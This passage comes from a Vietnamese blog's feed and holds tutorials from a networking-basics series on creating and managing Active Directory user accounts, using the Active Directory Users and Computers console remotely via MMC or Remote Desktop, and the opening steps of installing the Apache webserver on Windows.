tồn tại trong miền (như trong hình A). &lt;/span&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;span style=";font-family:Times New Roman,Times,serif;font-size:100%;"  &gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;img alt="" src="http://www.quantrimang.com/photos/image/092007/07/ActiveDirectory-Users1.jpg" vspace="4" /&gt;&lt;br /&gt;Hình A: Chọn mục Users, giao diện điều khiển sẽ hiển thị&lt;br /&gt;tất cả các tài khoản người dùng trong miền&lt;/span&gt; &lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style=";font-family:Times New Roman,Times,serif;font-size:100%;"  &gt;Bây giờ kích chuột phải vào mục Users và chọn New. Khi đó bạn sẽ thấy được các menu con, từ menu con này có thể chọn nhiều kiểu đối tượng khác nhau mà bạn có thể tạo. Nói về kỹ thuật, Users chỉ là một mục và bạn có thể đưa vào rất nhiều kiểu đối tượng. Tuy vậy sẽ không tốt nếu bạn thực hiện lưu nhiều đối tượng khác hơn là các đối tượng người dùng trong mục Users. Với trường hợp bài này đưa ra, bạn chọn lệnh Users từ các menu con. Khi đó sẽ thấy một hộp thoại xuất hiện như trong hình B. &lt;/span&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;span style=";font-family:Times New Roman,Times,serif;font-size:100%;"  &gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;img alt="" src="http://www.quantrimang.com/photos/image/092007/07/ActiveDirectory-Users2.jpg" vspace="4" /&gt;&lt;br /&gt;Hình B: Hộp thoại New Object – User cho phép tạo tài khoản người dùng mới&lt;/span&gt; &lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style=";font-family:Times New Roman,Times,serif;font-size:100%;"  &gt;Như những gì thấy trong hình, Windows ban đầu chỉ yêu cầu nhập vào một số thông tin cơ bản về người dùng. Mặc dù cửa sổ này hỏi nhiều thứ khác như tên và họ, nhưng về mặt kỹ thuật thì nó không cần thiết lắm. Phần thông tin cần thiết mà bạn cần phải cung cấp đó là tên đăng nhập của người dùng. Mặc dù các trường khác chỉ là những lựa chọn tùy thích nhưng chúng tôi vẫn khuyên bạn nên điền đầy đủ thông tin vào các trường này.&lt;br /&gt;&lt;br /&gt;Lý do nên điền đầy vào hết các trường này là vì tài khoản người dùng không hơn gì một đối tượng sẽ cứ trú bên trong Active Directory. Các thành phần như tên và họ là thuộc tính của đối tượng người dùng mà bạn đang tạo. Càng nhiều thông tin về thuộc tính thì các thông tin được lưu bên trong Active Directory sẽ càng trở lên hữu dụng. Xét cho cùng, Active Directory là một cơ sở dữ liệu mà bạn có thể truy vấn thông tin. Trong thực tế, nhiều ứng dụng làm việc bằng cách trích rút các thuộc tính khác nhau từ Active Directory. Khi đã điền đầy các trường này, kích nút Next, khi đó bạn sẽ thấy màn hình tiếp theo xuất hiện như trong hình C dưới đây. &lt;/span&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;span style=";font-family:Times New Roman,Times,serif;font-size:100%;"  &gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;img alt="" src="http://www.quantrimang.com/photos/image/092007/07/ActiveDirectory-Users3.jpg" vspace="4" /&gt;&lt;br /&gt;Hình C: Cần phải gán mật khẩi cho tài khoản mới&lt;/span&gt; &lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style=";font-family:Times New Roman,Times,serif;font-size:100%;"  &gt;Việc gán một mật khẩu là hoàn toàn đơn giản, tất cả những gì cần làm là đánh và nhập lại mật một mật khẩu. Mặc định, người dùng thường bị yêu cầu thay đổi mật khẩu cho lần đăng nhập kế tiếp. Tuy vậy, bạn có thể tránh trường hợp này bằng cách xóa hộp kiểm “User Must Change Password at Next Logon”. Cũng có nhiều hộp kiểm khác cho phép ngăn chặn người dùng thay đổi tất cả các mật khẩu của họ. Bạn có thể tùy chọn để thiết lập thời hạn vô hạn cho mật khẩu hoặc vô hiệu hóa toàn bộ tài khoản.&lt;br /&gt;&lt;br /&gt;Có một điều cần phải lưu ý là màn hình để thiết lập mật khẩu ở trên không phải là tất cả. Khi bạn gán mật khẩu cho một tài khoản người dùng mới, mật khẩu này phải tuân theo chính sách bảo mật của công ty bạn. Nếu mật khẩu sử dụng không có các yêu cầu cần thiết đã được đưa ra bởi chính sách nhóm có thể áp dụng thì tài khoản người dùng này sẽ không được tạo.&lt;br /&gt;&lt;br /&gt;Kích Next bạn sẽ thấy một màn hình hiển thị toàn bộ các tùy chọn mà bạn đã chọn. Xác nhận tất cả các thông tin đều đúng, khi đó chỉ cần kích Finish và một tài khoản người dùng mới sẽ được tạo.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;Chỉnh sửa và bổ sung các thuộc tính của tài khoản&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Như đã nói ở trên, chúng ta đã thấy được sự quan trọng trong việc điền các thuộc tính khác nhau khi tạo một tài khoản mới. Bạn có thể thấy nhiều màn hình liên quan đến việc tạo tài khoản mới không thực sự có nhiều thuộc tính. Tuy vậy, Active Directory còn gồm có hàng tá thuộc tính kèm theo có liên quan đến các tài khoản của người dùng này.&lt;br /&gt;&lt;br /&gt;Có một số thuộc tính mà bạn có thể rất dễ sử dụng và có ích. Chúng tôi khuyến khích các thuộc tính đang cư trú mà có liên quan đến thông tin liên hệ cơ bản. Trong thực tế, một số công ty thường tạo các thư mục công ty dựa trên thông tin được lưu trong thuộc tính Active Directory này, nó vẫn là một ý tưởng tốt cho việc định cư thông tin tài khoản người dùng trong Active Directory. Ví dụ, với mục đích cần khởi động lại một máy chủ, trong khi đó một người dùng vẫn đăng nhập vào ứng dụng cư trú trên máy chủ. Nếu có các thông tin liên hệ của người dùng được lưu trong Active Directory thì bạn có thể tra cứu số điện thoại của người dùng một cách dễ dàng và gọi cho người dùng này yêu cầu họ đăng xuất.&lt;br /&gt;&lt;br /&gt;Trước khi giới thiệu cho bạn cách đặt các thuộc tính của Active Directory, chúng tôi muốn nhấn mạnh rằng, kỹ thuật tương tự cũng có thể được sử dụng cho việc thay đổi các thuộc tính đang tồn tại. Ví dụ, nếu một nhân viên nữ đã kết hôn, cô ta có thể thay đổi họ của mình (theo truyền thống một số nước). Bạn có thể sử dụng các kỹ thuật mà chúng tôi sẽ giới thiệu sau đây để thay đổi nội dung thuộc tính cần thiết có liên quan.&lt;br /&gt;&lt;br /&gt;Để truy cập vào các thuộc tính tài khoản người dùng khác nhau, đơn giản bạn chỉ cần kích chuột phải vào tài khoản người dùng được chọn, sau đó chọn Properties. Sau khi thực hiện như vậy, bạn sẽ gặp một màn hình như trong hình D. &lt;/span&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;span style=";font-family:Times New Roman,Times,serif;font-size:100%;"  &gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;img alt="" src="http://www.quantrimang.com/photos/image/092007/07/ActiveDirectory-Users4.jpg" vspace="4" /&gt;&lt;br /&gt;Hình D: Trang thuộc tính của người dùng được sử dụng để lưu thuộc tính&lt;br /&gt;và thông tin cấu hình cho tài khoản người dùng.&lt;/span&gt; &lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style=";font-family:Times New Roman,Times,serif;font-size:100%;"  &gt;Như có thể thấy được trên hình, tab General có thể cho phép thay đổi tên hoặc tên hiển thị của người dùng. Bạn cũng có thể điền vào (hoặc thay đổi) một số trường khác như phần mô tả, văn phòng, điện thoại, email, hoặc website. Nếu quan tâm đến việc lưu trữ thêm các thông tin chi tiết hơn về người dùng thì bạn có thể duyệt qua các tab Address, Telephones, và Organization. Các tab này có tất cả các trường dành cho việc lưu trữ thông tin chi tiết hơn về người dùng.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;Xác lập lại mật khẩu người dùng&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Bạn có thể thấy trên hình D có rất nhiều tab khác nhau. Hầu hết các tab này đều liên quan đến bảo mật và cấu hình cho tài khoản người dùng. Một thành phần mà hầu hết các quản trị viên mới dường như đều phát hiện ra khi khám khá các tab này đó là không có tùy chọn cho việc thiết lập lại mật khẩu của người dùng.&lt;br /&gt;&lt;br /&gt;Nếu cần phải thiết lập lại mật khẩu của người dùng thì bạn phải đóng cửa sổ này. Sau khi thực hiện điều đó, bạn kích chuột phải vào tài khoản người dùng và chọn lệnh Reset Password trong menu chuột phải.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;Kết luận&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Trong phần này, chúng tôi đã giới thiệu cho bạn các quá trình tạo một tài khoản người dùng, việc đặt các thuộc tính của Active Directory khác nhau có liên quan đến tài khoản đó, và việc thiết lập lại mật khẩu của tài khoản. Trong phần tiếp theo của loạt bài này, chúng tôi sẽ tiếp tục giới thiệu về các khả năng khác của Active Directory Users và Computers console.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span class="bodytxt"&gt;&lt;b&gt;&lt;i&gt;&lt;span align="right"&gt;Văn Linh (Theo Windows Networking)&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;a href="javascript:updatePost(0);"&gt;&lt;/a&gt;&lt;a href="http://danglvh.blogspot.com/2007/08/kin-thc-c-bn-v-mng-phn-1-cc-thit-b-phn.html"&gt;Kiến thức cơ bản về mạng: Phần 1 - Các thiết bị phần cứng mạng&lt;/a&gt;&lt;br /&gt;&lt;a href="http://danglvh.blogspot.com/2007/08/kin-thc-c-bn-v-mng-phn-2-router_9229.html"&gt;Kiến thức cơ bản về mạng: Phần 2 - Router&lt;/a&gt;&lt;br /&gt;&lt;a href="javascript:updatePost(9);"&gt;&lt;/a&gt;&lt;a href="http://danglvh.blogspot.com/2007/08/kin-thc-c-bn-v-mng-phn-3-dns-server.html"&gt;Kiến thức cơ bản về mạng: Phần 3 - DNS Server&lt;/a&gt;&lt;br /&gt;&lt;a href="javascript:updatePost(1);"&gt;&lt;/a&gt;&lt;a href="http://danglvh.blogspot.com/2007/08/kin-thc-c-bn-v-mng-phn-4-workstation-v.html"&gt;Kiến thức cơ bản về mạng: Phần 4 - Workstation và Server&lt;/a&gt;&lt;br /&gt;&lt;a href="http://danglvh.blogspot.com/2007/08/kin-thc-c-bn-v-mng-phn-5-domain.html"&gt;Kiến thức cơ bản về mạng: Phần 5 - Domain Controller&lt;/a&gt;&lt;br /&gt;&lt;a href="http://danglvh.blogspot.com/2007/08/kin-thc-c-bn-v-mng-phn-6-windows-domain.html"&gt;Kiến thức cơ bản về mạng: Phần 6 - Windows Domain&lt;/a&gt;&lt;br /&gt;&lt;a href="http://danglvh.blogspot.com/2007/08/kin-thc-c-bn-v-mng-phn-8-tip-tc-v-fsmo.html"&gt;Kiến thức cơ bản về mạng: Phần 8 - Tiếp tục về FSMO Role&lt;/a&gt;&lt;br /&gt;&lt;a href="http://danglvh.blogspot.com/2007/08/kin-thc-c-bn-v-mng-phn-7-gii-thiu-v.html"&gt;Kiến thức cơ bản về mạng: Phần 7 - Giới thiệu về FSMO Role&lt;/a&gt;&lt;br /&gt;&lt;a href="http://danglvh.blogspot.com/2007/08/kin-thc-c-bn-v-mng-phn-9-cc-tn-phn-bit.html"&gt;Kiến thức cơ bản về mạng: Phần 9 – Các tên phân biệt&lt;/a&gt;&lt;br /&gt;&lt;a href="http://danglvh.blogspot.com/2007/08/kin-thc-c-bn-v-mng-phn-10-thng-tin-v.html"&gt;Kiến thức cơ bản về mạng: Phần 10 – Thông tin về Active Directory&lt;/a&gt;&lt;br /&gt;&lt;a href="http://danglvh.blogspot.com/2007/10/kin-thc-c-bn-v-mng-phn-11-active.html"&gt;Kiến thức cơ bản về mạng: Phần 11 - Active Directory Users và Computers Console&lt;/a&gt;&lt;/p&gt; &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-8152718155286158893?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/8152718155286158893/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/10/kin-thc-c-bn-v-mng-phn-12-qun-l-ti-khon.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/8152718155286158893'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/8152718155286158893'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/10/kin-thc-c-bn-v-mng-phn-12-qun-l-ti-khon.html' title='Kiến thức cơ bản về mạng: Phần 12 – Quản lý tài khoản người dùng'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-3748831658059363580</id><published>2007-10-21T09:54:00.000+07:00</published><updated>2007-10-21T09:54:39.355+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Basic Network'/><title type='text'>Kiến thức cơ bản về mạng: Phần 11 - Active Directory Users và Computers Console</title><content type='html'>&lt;span class="bodytxt"&gt;&lt;p align="justify"&gt;&lt;span style=";font-family:Times New Roman,Times,serif;font-size:100%;"  &gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 51);"&gt;Trong các phần trước của loạt bài này chúng tôi đã giới thiệu cho các bạn về cách làm việc với AD. Trong phần này chúng tôi sẽ tiếp tục tất cả những gì cần phải thực hiện đối với một mạng.&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Windows Server 2003 có một số công cụ khác được sử dụng cho việc quản lý AD. Công cụ quản lý AD này cho phép bạn sử dụng hầu hết các nhiệm vụ quản lý hàng ngày đó là Directory Users và Computers console. Như tên của nó, công cụ này được sử dụng để tạo, quản lý và xóa các tài khoản người dùng và máy tính.&lt;br /&gt;&lt;br /&gt;Bạn có thể truy cập vào công cụ này bằng cách kích chuột vào nút Start của máy chủ và từ menu Start tìm đến All Programs / Administrative Tools. Tùy chọn Active Directory Users and Computers ở gần phía trên của menu Administrative Tools. Bạn cần phải nhớ rằng chỉ có các bộ điều khiển miền mới có tùy chọn này, vì vậy nếu không quan sát thấy lệnh Active Directory Users and Computers thì bạn phải đăng nhập vào bộ điều khiển miền.&lt;br /&gt;&lt;br /&gt;Một thứ khác mà bạn phải chú ý đó là menu Administrative Tools gồm có một cặp công cụ AD khác: Active Directory Domains and Trusts và Active Directory Sites and Services. Chúng tôi sẽ giới thiệu các tiện ích này trong một số bài viết sau.&lt;br /&gt;&lt;br /&gt;Khi mở mục Active Directory Users and Computers, bạn sẽ thấy xuất hiện một màn hình giống như hình A dưới đây. Bạn có thể xem lại từ các phần trước trong loạt bài này, AD có forest, forest này gồm có một hoặc nhiều miền. Mặc dù forest thể hiện toàn bộ AD nhưng bảng điều khiển Active Directory Users and Computers không cho phép làm việc với AD ở mức forest. Giao diện này chỉ là một công cụ mức miền. Thực tế, nếu nhìn vào hình A bạn sẽ thấy production.com được đánh dấu. Production.com là một miền trên mạng của chúng tôi. Tất cả các mục khác được liệt kê bên dưới đều là đối tượng của miền AD cho từng miền. &lt;/span&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;span style=";font-family:Times New Roman,Times,serif;font-size:100%;"  &gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;img alt="" src="http://www.quantrimang.com/photos/image/082007/22/ADUsers&amp;amp;Computers.jpg" vspace="4" /&gt;&lt;br /&gt;Hình A: Giao diện Active Directory Users and Computers cho phép quản lý các miền riêng lẻ&lt;/span&gt; &lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style=";font-family:Times New Roman,Times,serif;font-size:100%;"  &gt;Bạn có thể thấy rằng production.com là một trong các miền trên mạng của chúng tôi và không có miền nào khác được liệt kê trong hình A. Điều đó là vì Active Directory Users and Computers chỉ liệt kê một miền tại một thời điểm để giữ cho giao diện trông gọn gàng. Miền được liệt kê trong giao diện tương ứng với bộ điều khiển miền mà bạn đã đăng nhập. Ví dụ, trong khi viết bài này, tôi đã đăng nhập vào một trong các bộ điều khiển miền đó là production.com, vì vậy Active Directory Users and Computers sẽ kết nối đến miền production.com.&lt;br /&gt;&lt;br /&gt;Vấn đề ở đây là các miền đó thường bị phân tán về mặt địa lý. Ví dụ, trong công ty lớn phải có các miền khác nhau cho mỗi văn phòng của công ty. Nếu lúc này bạn đang ở Miami, Florida và miền khác của công ty hiện diện cho một văn phòng tại Las Vegas, Nevada thì nó sẽ không phải di chuyển một quãng đường lớn dọc toàn nước Mỹ mỗi khi bạn cần quản lý miền Las Vegas.&lt;br /&gt;&lt;br /&gt;Mặc dù Active Directory Users and Computers mặc định hiển thị miền có liên quan đến bộ điều khiển miền mà bạn đã đăng nhập, nhưng vẫn có thể sử dụng giao diện này để hiển thị bất kỳ miền nào mà bạn có quyền thao tác với chúng. Tất cả những gì cần phải làm lúc này là kích chuột phải vào miền đang được hiển thị, sau đó chọn lệnh Connect to Domain từ menu chuột phải. Khi thực hiện như vậy sẽ có một màn hình được hiển thị, màn hình này cho phép đánh vào đó tên miền mà bạn muốn kết nối hoặc kích vào nút Browse và duyệt miền.&lt;br /&gt;&lt;br /&gt;Khi một miền được đặt ở xa thì bạn có thể rất khó để đăng nhập trực tiếp vào bộ điều khiển miền. Ví dụ, tôi đã làm việc trong một số văn phòng, trong đó các bộ điều khiển miền được đặt trong các tòa nhà riêng biệt hoặc không có điều kiện thuận lợi cho tôi đăng nhập vào bộ điều khiển miền để thực hiện công việc bảo trì hàng ngày.&lt;br /&gt;&lt;br /&gt;Tuy nhiên một tin tốt đó là không cần phải đăng nhập vào bộ điều khiển miền để truy cập vào giao diện Active Directory Users and Computers mà chỉ cần đăng nhập vào bộ điều khiển miền để truy cập vào giao diện Active Directory Users and Computers từ menu Administrative Tools. Bạn có thể truy cập giao diện này với tư cách máy chủ thành viên bằng cách nạp một cách thủ công nó vào Microsoft Management Console.&lt;br /&gt;&lt;br /&gt;Để thực hiện điều đó, bạn nhập lệnh &lt;strong&gt;MMC&lt;/strong&gt; vào cửa sổ lệnh RUN của máy chủ. Khi thực hiện xong máy chủ sẽ mở một Microsoft Management Console trống. Tiếp theo đó bạn chọn lệnh &lt;strong&gt;Add / Remove Snap-In&lt;/strong&gt; từ menu File của giao diện điều khiển. Windows lúc này sẽ mở cửa sổ thuộc tính của Add / Remove Snap-In. Kích nút &lt;strong&gt;Add&lt;/strong&gt; trên tab Standalone trong cửa sổ thuộc tính, bạn sẽ thấy một danh sách các snap-in có sẵn. Chọn tùy chọn &lt;strong&gt;Active Directory Users and Computers&lt;/strong&gt; từ danh sách snap-in đó và kích &lt;strong&gt;Add&lt;/strong&gt;, tiếp theo đó là &lt;strong&gt;Close&lt;/strong&gt; và &lt;strong&gt;OK&lt;/strong&gt;. Giao diện điều khiển lúc này sẽ được nạp.&lt;br /&gt;&lt;br /&gt;Trong một số trường hợp load giao diện theo cách này có thể gây ra lỗi. Nếu bạn thấy xuất hiện lỗi và giao diện không cho phép quản lý miền sau khi kích chuột phải trên mục Active Directory Users and Computers và chọn lệnh &lt;strong&gt;Connect to Domain Controller&lt;/strong&gt; từ menu chuột phải. Lúc này bạn có thể kết nối giao diện điều khiển đến một bộ điều khiển miền nào đó mà không cần đăng nhập vào bộ điều khiển miền đó. Bằng cách đó bạn sẽ có thể quản lý được miền giống như trong giao diện điều khiển của bộ điều khiển miền.&lt;br /&gt;&lt;br /&gt;Kỹ thuật đó làm việc sẽ rất thú vị nếu bạn có một máy chủ , nhưng điều gì sẽ xảy ra nếu máy trạm làm việc của bạn đang sử dụng Windows Vista, và tất cả máy chủ đều nằm bên phía bên kia của tòa nhà.&lt;br /&gt;&lt;br /&gt;Một trong những giải pháp đơn giản nhất để giải quyết vấn đề này đó là thiết lập một phiên RDP cho một trong những máy chủ. RDP là giao thức máy trạm từ xa (Remote Desktop Protocol). Giao thức này sẽ cho phép điều khiển từ xa các máy chủ trong tổ chức của bạn. Trong môi trường Windows Server 2003 bạn có thể kích hoạt một phiên từ xa bằng cách kích chuột phải vào My Computer và chọn lệnh &lt;strong&gt;Properties&lt;/strong&gt; từ menu chuột phải. Khi đó bạn sẽ thấy đươc cửa sổ thuộc tính của hệ thống. Vào tab &lt;strong&gt;Remote&lt;/strong&gt; và chọn hộp kiểm &lt;strong&gt;Enable Remote Desktop on this Computer&lt;/strong&gt; (xem hình B). &lt;/span&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;span style=";font-family:Times New Roman,Times,serif;font-size:100%;"  &gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;img alt="" src="http://www.quantrimang.com/photos/image/082007/22/SystemProperties.jpg" vspace="4" /&gt;&lt;br /&gt;Hình B: Cấu hình một máy chủ để hỗ trợ các kết nối máy trạm từ xa (Remote Desktop)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style=";font-family:Times New Roman,Times,serif;font-size:100%;"  &gt;Để kết nối đến máy chủ từ máy Windows Vista, bạn chọn lệnh &lt;strong&gt;Remote Desktop Connection&lt;/strong&gt; từ menu &lt;strong&gt;All Programs&lt;/strong&gt; / &lt;strong&gt;Accessories&lt;/strong&gt;. Khi thực hiện xong, bạn sẽ thấy màn hình xuất hiện như màn hình thể hiện dưới hình C. Lúc này hãy nhập vào tên máy chủ của bạn và kích nút &lt;strong&gt;Connect&lt;/strong&gt; để thiết lập một phiên điều khiển xa. &lt;/span&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;span style=";font-family:Times New Roman,Times,serif;font-size:100%;"  &gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;img alt="" src="http://www.quantrimang.com/photos/image/082007/22/RemoteDesktop.jpg" vspace="4" /&gt;&lt;br /&gt;Hình C: Có thể kết nối đến một máy chủ từ xa dễ dàng hơn bằng Windows Vista&lt;/span&gt; &lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style=";font-family:Times New Roman,Times,serif;font-size:100%;"  &gt;&lt;strong&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;Kết luận&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Trong phần này chúng tôi đã giới thiệu cho bạn về Active Directory Users and Computers. Trong đó chúng tôi đã giải thích về cách sử dụng giao diện này để quản lý các miền từ xa. Trong phần 12 tới chúng tôi sẽ tiếp tục giới thiệu cho bạn về các khả năng khác của công cụ này. Mời các bạn đón đọc.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p align="justify"&gt;&lt;span class="bodytxt"&gt;&lt;b&gt;&lt;i&gt;&lt;span align="right"&gt;Văn Linh (Theo Windows Networking)&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-3748831658059363580?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/3748831658059363580/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/10/kin-thc-c-bn-v-mng-phn-11-active.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/3748831658059363580'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/3748831658059363580'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/10/kin-thc-c-bn-v-mng-phn-11-active.html' title='Kiến thức cơ bản về mạng: Phần 11 - Active Directory Users và Computers Console'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-1562865348362697796</id><published>2007-10-16T10:41:00.001+07:00</published><updated>2007-10-16T10:41:38.487+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Lập Trình Web'/><title type='text'>Hướng dẫn cài đặt webserver Apache</title><content type='html'>&lt;span style="font-size: 10pt; line-height: 150%; font-family: Arial;"&gt;Download                                  file để cài đặt Apache từ website sau: &lt;a style="color: blue; text-decoration: underline;" href="http://httpd.apache.org/dist/httpd/binaries/win32"&gt;http://httpd.apache.org/dist/httpd/binaries/win32&lt;/a&gt;&lt;/span&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; line-height: 150%; font-family: Arial;"&gt;File                                  được sử dụng để cài đặt Apache dưới đây là                                  &lt;b&gt;apache_2.0.35-win32-x86-no_ssl.msi&lt;/b&gt;                                  &lt;/span&gt;&lt;/p&gt;                                 &lt;p&gt;&lt;b&gt;&lt;span style="font-size: 10pt; font-family: Arial;"&gt;Bước                                  1&lt;/span&gt;&lt;/b&gt;&lt;span style="font-size: 10pt; font-family: Arial;"&gt;:                                  Nháy đúp chuột vào file đã được download ở trên                                  để bắt đầu quá trình cài đặt, chúng ta sẽ quan                                  sát thấy menu sau&lt;/span&gt;&lt;/p&gt;                                 &lt;p align="center"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/apache1.gif" border="0" height="305" width="425" /&gt;&lt;/p&gt;                                 &lt;p align="left"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;b&gt;&lt;span style="font-size: 10pt; line-height: 150%; font-family: Arial;"&gt;Bước                                  2&lt;/span&gt;&lt;/b&gt;&lt;span style="font-size: 10pt; line-height: 150%; font-family: Arial;"&gt;:                                  Click chuột vào nút &lt;b&gt;Next&lt;/b&gt;, trên màn hình                                  sẽ xuất hiện menu sau:&lt;/span&gt;&lt;/p&gt;                                 &lt;p align="center"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/apache2.gif" border="0" height="301" width="423" /&gt;&lt;/p&gt;                                 &lt;p align="center"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;b&gt;&lt;span style="font-size: 10pt; line-height: 150%; font-family: Arial;"&gt;Bước                                  3&lt;/span&gt;&lt;/b&gt;&lt;span style="font-size: 10pt; line-height: 150%; font-family: Arial;"&gt;:                                  Click chuột vào nút “&lt;b&gt;I accept the terms                                  …&lt;/b&gt;” và chọn &lt;b&gt;Next&lt;/b&gt;, một màn hình khác                                  với đầy đủ thông tin hơn về HTTP server xuất                                  hiện.&lt;/span&gt;&lt;/p&gt;                                 &lt;p align="center"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/apache3.gif" border="0" height="321" width="430" /&gt;&lt;/p&gt;                                 &lt;p align="center"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;b&gt;&lt;span style="font-size: 10pt; line-height: 150%; font-family: Arial;"&gt;Bước                                  4&lt;/span&gt;&lt;/b&gt;&lt;span style="font-size: 10pt; line-height: 150%; font-family: Arial;"&gt;:                                  Click chuột vào nút &lt;b&gt;Next&lt;/b&gt;, trên màn hình                                  xuất hiện menu sau:&lt;/span&gt;&lt;/p&gt;                                 &lt;p align="center"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/apache4.gif" border="0" height="300" width="429" /&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; line-height: 150%; font-family: Arial;"&gt;Tại                                  trường &lt;b&gt;Network Domain&lt;/b&gt; gõ vào tên miền (ví                                  dụ: ntthanh.dyndns.vn).&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; line-height: 150%; font-family: Arial;"&gt;Tại                                  trường &lt;b&gt;Server Name&lt;/b&gt; gõ vào địa chỉ website                                  (ví dụ: &lt;a style="color: blue; text-decoration: underline;" href="http://www.ntthanh.dyndns.vn/"&gt;http://www.ntthanh.dyndns.vn/&lt;/a&gt;)&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; line-height: 150%; font-family: Arial;"&gt;Tại                                  trường &lt;b&gt;Administrator’s Email Address&lt;/b&gt; gõ                                  vào địa chỉ email của người quản trị web (ví dụ:                                  &lt;a style="color: blue; text-decoration: underline;" href="mailto:thanh@vnnic.net.vn"&gt;thanh@vnnic.net.vn&lt;/a&gt;).&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: center;"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/apache5.gif" border="0" height="298" width="423" /&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: center;"&gt; &lt;/p&gt;                                 